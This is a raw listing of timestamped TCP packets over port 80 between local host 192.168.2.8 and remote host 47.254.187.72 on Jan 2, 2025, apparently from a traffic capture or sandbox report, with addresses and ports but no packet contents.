Jan 2, 2025 20:20:01.450589895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450592041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450604916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450613022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450629950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450649977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450649977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450666904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450778008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.451828003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451839924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451852083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451879025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.451905012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451919079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451931953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451945066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451951027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.451951027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.451961994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.451996088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452028990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452769995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452799082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452857018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452857018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452876091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452893019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452910900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452924013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452927113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452946901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452948093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452966928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.452969074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.452982903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.453006983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.453067064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454123974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454175949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454191923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454200029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454206944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454224110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454241037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454245090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454245090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454267025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454278946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454286098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.454301119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454319954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.454339981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455193043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455220938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455245018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455306053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455337048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455369949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455384016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455394030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455395937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455410957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455423117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455437899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455437899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455465078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455493927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455929995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455948114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455966949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455986023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.455998898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.455998898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.456017017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.456032991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.456041098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.456051111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.456069946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.456100941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.456132889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.457834959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457864046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457880974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457897902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457916975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457928896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.457928896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.457933903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457954884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.457961082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.457973957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458004951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458005905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458075047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458079100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458089113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458108902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458122015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458137035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458142042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458142042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458149910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458182096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.458209038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458209038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.458240032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.532854080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532897949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532926083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532942057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532970905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532987118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.532991886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.532991886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.533003092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.533015966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.533040047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.533060074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534112930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534131050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534171104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534193993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534195900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534209013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534215927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534240007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534240961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534260035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534262896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534279108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.534296036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534318924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.534351110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535279989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535298109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535324097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535343885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535346031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535356045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535365105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535382032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535382032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535401106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.535423040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535423040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535456896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.535456896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.536089897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536103010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536113977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536125898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536139965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536150932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536153078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.536165953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536180973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.536211967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.536211967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.536227942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537002087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537062883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537082911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537087917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537102938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537113905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537127018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537132025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537132025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537142038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537154913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537156105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.537192106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.537245035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.538158894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538194895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538211107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538224936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538242102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538252115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.538259029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538276911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538290977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.538290977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.538294077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.538333893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.538361073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539459944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539478064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539494038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539526939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539544106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539561033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539582968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539598942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539602041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539614916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539633036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.539654016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539654016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.539740086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540581942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540652990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540667057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540684938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540688038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540688038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540703058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540723085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540724039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540738106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540743113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.540762901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540772915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.540796995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.541290045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541307926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541332960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541349888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541368008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541376114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.541376114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.541388035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541404963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.541424036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.541424036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.541456938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542538881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542555094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542581081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542597055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542612076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542625904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542625904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542628050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542654037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542666912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542666912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542685032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542699099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542702913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542717934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.542743921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.542774916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.543451071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543478012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543495893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543509960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543520927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.543529987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543548107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543564081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.543564081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.543566942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543581963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.543622971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.543622971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.544852018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544867039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544882059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544894934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544908047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544919968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544933081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.544935942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544950008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.544959068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.544997931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.544997931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.545859098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.545927048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.545936108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.545952082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.545977116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.545993090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546004057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546004057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546006918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546015978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546026945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546041012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546046019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546061993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546086073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546086073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546562910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546580076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546607018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546624899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546637058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546637058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546643972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546652079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546664000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546684980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.546698093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546698093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546715975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.546768904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548397064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548413038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548435926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548464060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548480988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548486948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548486948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548500061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548518896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548546076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548546076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548547029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548563957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548574924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548598051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548666954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548737049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548789024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548804998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548821926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548834085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548834085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548841953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548856020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548858881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548865080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548896074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548899889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548899889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548909903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548922062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.548960924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548960924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.548985958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642044067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642071009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642085075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642097950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642111063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642123938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642126083 CET	49704	80	192.168.2.8	47.254.187.72
